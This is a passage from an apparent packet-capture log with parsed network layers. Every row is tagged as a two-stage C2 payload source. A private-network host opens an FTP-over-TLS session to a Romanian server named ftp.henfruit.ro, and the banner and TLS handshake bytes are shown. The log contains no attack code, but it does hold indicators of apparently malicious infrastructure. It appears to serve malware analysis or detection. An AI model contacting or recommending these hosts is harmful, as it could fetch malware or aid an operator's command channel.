\"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10783, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23799, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378439, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:50.779057,50,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,RA,,,Ether > IP > TCP,3,TCP RA Seq=654304945 Ack=1203919404,525400577f945254007bb79208004500002859304000800654e6c0a87aa80d6b03fec32301bb26ffe6b147c25a2c501400004cd40000,\"RT.W..RT.{....E..(Y0@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22832, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21734, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304945, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:50.857066,51,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,RA,,,Ether > IP > TCP,3,TCP RA Seq=1857739734 Ack=4241599660,525400577f945254007bb792080045000028a51640008006746dc0a87aa883fd21fec32401bb6ebadbd6fcd1acac50140000e1660000,RT.W..RT.{....E..(..@...tm..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42262, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29805, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739734, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:50.857168,52,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,RA,,,Ether > IP > TCP,3,TCP RA Seq=4216733384 Ack=974826609,525400577f945254007bb792080045000028015a400080062bf7c0a87aa8cc4fc5dec32601bbfb563ec83a1aac7150140000cd990000,RT.W..RT.{....E..(.Z@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11255, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733384, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:50.857188,53,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=226525660 Ack=1444010957,525400577f945254007bb79208004500002812e2400080069f93c0a87aa81730f5d9c32201bb0d8081dc5611dbcd5014000048750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4834, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40851, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525660, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:10.011506,54,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=4242042959 Ack=0,525400577f945254007bb792080045000034dc5e40008006cb35c0a87aa85bd5bc09c5920015fcd8704f000000008002faf053560000020405b40103030801010402,RT.W..RT.{....E..4.^@....5..z.[..\t......pO........SV..............,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 56414, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52021, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242042959, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 21334, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-26 14:31:10.011559,55,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4028115492 Ack=4242042960,5254007bb792525400577f94080045000034000040004006e7945bd5bc09c0a87aa80015c592f0182a24fcd870508012a56453560000020405b40101040201030309,RT.{..RT.W....E..4..@.@...[..\t..z.......*$..pP...dSV.............\t,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59284, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028115492, \"\"ack\"\": 4242042960, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 21334, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-26 14:31:10.011700,56,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4242042960 Ack=4028115493,525400577f945254007bb792080045000028dc5f40008006cb40c0a87aa85bd5bc09c5920015fcd87050f0182a2550100402534a0000,RT.W..RT.{....E..(._@....@..z.[..\t......pP..*%P...SJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56415, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52032, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242042960, \"\"ack\"\": 4028115493, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:20.775338,57,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4028115493 Ack=4242042960,5254007bb792525400577f9408004500016891f74000400654695bd5bc09c0a87aa80015c592f0182a25fcd8705050180053548a00003232302d2d2d2d2d2d2d2d2d2d2057656c636f6d6520746f20507572652d46545064205b707269767365705d205b544c535d202d2d2d2d2d2d2d2d2d2d0d0a3232302d596f75206172652075736572206e756d6265722031206f6620353020616c6c6f7765642e0d0a3232302d4c6f63616c2074696d65206973206e6f772031373a33312e2053657276657220706f72743a2032312e0d0a3232302d54686973206973206120707269766174652073797374656d202d204e6f20616e6f6e796d6f7573206c6f67696e0d0a3232302d4950763620636f6e6e656374696f6e732061726520616c736f2077656c636f6d65206f6e2074686973207365727665722e0d0a32323020596f752077696c6c20626520646973636f6e6e6563746564206166746572203135206d696e75746573206f6620696e61637469766974792e0d0a,\"220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------\n220-You are user number 1 of 50 allowed.\n220-Local time is now 17:31. Server port: 21.\n220-This is a private system - No anonymous login\n220-IPv6 connections are also welcome on this server.\n220 You will be disconnected after 15 minutes of inactivity.\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 360, \"\"id\"\": 37367, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21609, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028115493, \"\"ack\"\": 4242042960, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 21642, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------\\r\\n220-You are user number 1 of 50 allowed.\\r\\n220-Local time is now 17:31. Server port: 21.\\r\\n220-This is a private system - No anonymous login\\r\\n220-IPv6 connections are also welcome on this server.\\r\\n220 You will be disconnected after 15 minutes of inactivity.\\r\\n\"\"}}]\"\n2026-04-26 14:31:20.775728,58,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4242042960 Ack=4028115813,525400577f945254007bb792080045000032dc6040008006cb35c0a87aa85bd5bc09c5920015fcd87050f0182b6550180401535400004155544820544c530d0a,\"AUTH TLS\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 50, \"\"id\"\": 56416, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52021, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242042960, \"\"ack\"\": 4028115813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 21332, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"AUTH TLS\\r\\n\"\"}}]\"\n2026-04-26 14:31:20.775759,59,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4028115813 Ack=4242042970,5254007bb792525400577f9408004500002891f84000400655a85bd5bc09c0a87aa80015c592f0182b65fcd8705a50100053534a0000,RT.{..RT.W....E..(..@.@.U.[..\t..z.......+e..pZP..SSJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 37368, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21928, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028115813, \"\"ack\"\": 4242042970, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:21.206814,60,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4028115813 Ack=4242042970,5254007bb792525400577f9408004500003a91f94000400655955bd5bc09c0a87aa80015c592f0182b65fcd8705a50180053535c0000323334204155544820544c53204f4b2e0d0a,\"234 AUTH TLS OK.\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 58, \"\"id\"\": 37369, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21909, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028115813, \"\"ack\"\": 4242042970, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 21340, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"234 AUTH TLS OK.\\r\\n\"\"}}]\"\n2026-04-26 14:31:21.220781,61,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4242042970 Ack=4028115831,525400577f945254007bb7920800450000d9dc6140008006ca8dc0a87aa85bd5bc09c5920015fcd8705af0182b775018040153fb000016030300ac010000a8030369d776ed8561b0aa62d9d4331996034bbe4e4cc598bb473af9aaa4039eec9fd800002ac02cc02bc030c02f009f009ec024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a0100005500000014001200000f6674702e68656e66727569742e726f000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\"...........i.v..a..b..3...K.NL...G:..........*.,.+.0./.....$.#.(.'.\n.\t.........=.<.5./.\n...U.........ftp.henfruit.ro.\n.................\n.............................#...........\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 217, \"\"id\"\": 56417, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 51853, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242042970, \"\"ack\"\": 4028115831, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 21499, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030300ac010000a8030369d776ed8561b0aa62d9d4331996034bbe4e4cc598bb473af9aaa4039eec9fd800002ac02cc02bc030c02f009f009ec024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a0100005500000014001200000f6674702e68656e66727569742e726f000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100\"\"}}]\"\n2026-04-26 14:31:21.220806,62,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4028115831 Ack=4242043147,5254007bb792525400577f9408004500002891fa4000400655a65bd5bc09c0a87aa80015c592f0182b77fcd8710b50100053534a0000,RT.{..RT.W....E..(..@.@.U.[..\t..z.......+w..q.P..SSJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 37370, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21926, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028115831, \"\"ack\"\": 4242043147, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:21.619811,63,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4028115831 Ack=4242043147,5254007bb792525400577f94080045000be791fb4000400649e65bd5bc09c0a87aa80015c592f0182b77fcd8710b501800535f09000016030300610200005d03035c3313dfa372b61d71f09bfb417f88aa783e94f94d3d0f12444f574e4752440120c79950c4ffecfb23ece144d6788e483b61e8fa91f3553d0fbdf58fd9b16571cfc030000015ff0100010000000000000b000403000102001700001603030a1a0b000a16000a1300050430820500308203e8a003020102021205c83f59e5641d6aa578c69b64f2a2ee74e9300d06092a864886f70d01010b05003033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a06035504031303523133301e170d3236303333313037313434355a170d3236303632393037313434345a301e311c301a060355040313136d67682d776562392e6d6167686f73742e726f30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc6558fb97b570afacd60e3b550c1da041130084570c7f74d805c29474c08d82bc1dd47f8d10edf1ae176c0f3ef7d7aff7b97949532be5af3474c30a357c01d78cd6ce6f82abe7c75424b219321d06453be18504165ceca7242668de450e68800d7a16cd0e9f2b02eca91207115535e19725f595afd4d260b88d84bc6876f85129d7ca937addd78b54e5568f731ee44ca1a4464064288ced427ef5f2e272be4ea828067cd59f6edc649e5f0b03448d24468f150db95bcf66ef6a0a5db43711486856a25070a68e610688a802931a14f628b8df07124a9b63d5e598ce313c5b3c108b5d737b91623582bc22e7a40ac85d306518e98d0b44ea5908b04865d9ae30203010001a38202213082021d300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e04160414c5fd3e2a7339235293cf660b6dcd40e9749406d0301f0603551d23041830168014e7ab9f0f2c33a053d35e4f78c8b2840e3bd69233303306082b0601050507010104273025302306082b060105050730028617687474703a2f2f7231332e692e6c656e63722e6f72672f301e0603551d110417301582136d67682d776562392e6d6167686f73742e726f30130603551d20040c300a3008060667810c010201302f0603551d1f042830263024a022a020861e687474703a2f2f7231332e632e6c656e63722e6f72672f3130362e63726c3082010b060a2b06010401d6790204020481fc0481f900f7007d00717e95f3c2388a6db1e384493d31e15aa96208762d4200e0050cd067b5a661e20000019d42f43bd70008000005000d1179a1040300463044022047527cc5a535abd72560c8fc9e9727fa6d12f5cee1f233d27d01366526c4a88b02201db12883af660eb1466b1df46765e46622a2ed5acf9fb0b559f62e8353c3c002007600d16ea9a568077e6635a03f37a5ddbc03a53c411214d48818f5e931b323cb95040000019d42f43c2e000004030047304502201a1c108d097707144c2870e8c5611876f36140668ae57eb316d8da01eda43dfc022100b28e4ff7be9a09a7bb4c5baa26e8f82a8d9f9f2e8cc561346bbcabcdbb1b4c53300d06092a864886f70d01010b050003820101005bd256800862784164e1353e7bba09adef7c1cbdf0648a599dcd20675b8dbebca99ca591ba347ca9729908e88333410cc8e638526b24806d41be99a7b16eee36e03412bc7899d6281def25b83cf06c57480be47f501aa4b7ac54b75fd3d96328ca11931c1b28f3e0d233f05f540b77cbf73a3b9fc01f105319b369345a916a7f3530af87320f2520e582cc7993bb665341ada86d18ac16a7dfee5fe6f22027a70d5e23d434c1ca5dfd742901c2d9ade1431c4785da212eadc0d02110ad90fd00beca6ad255c05280fcf07ab60334458e76197c8e7f0d40bcf492f40b34895516428b398926ce98d385c6ee5fe63715341fb6a573dba9620534892bbac25006c600050930820505308202eda00302010202105a00f212d8d4b480f3924157ea298305300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3234303331333030303030305a170d3237303331323233353935395a3033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a0603550403130352313330820122300d06092a864886f70d01010105000382010f003082010a0282010100a567708dd0568164151761cdb906d4ad19908c2650379816639254dbd9cc840593ecd3ec081ba0605143487d2bc748969eb42dda9dc8273b57a19fabf0d60ed40e30ca6f9bb1d1d6a49d323e584e356f4558687117fc3ed85d82a02fb2516cb01a5db859ce3565c88ba1af1037ffe39c5dc2491734ff8c2b8b8df0bc712c930c1d05c4bac7cdaac95e7cd1c901f79c03f6fc0a5df4da7be6db764270ebf44d22da00776fd6c95f17fdda752ea5570cf6ea5cb6e073a568cfa174e275827e109fc1f5a2eb01e938b10a44ccd3c289f54935820a34b31ce988c2474e820e0a36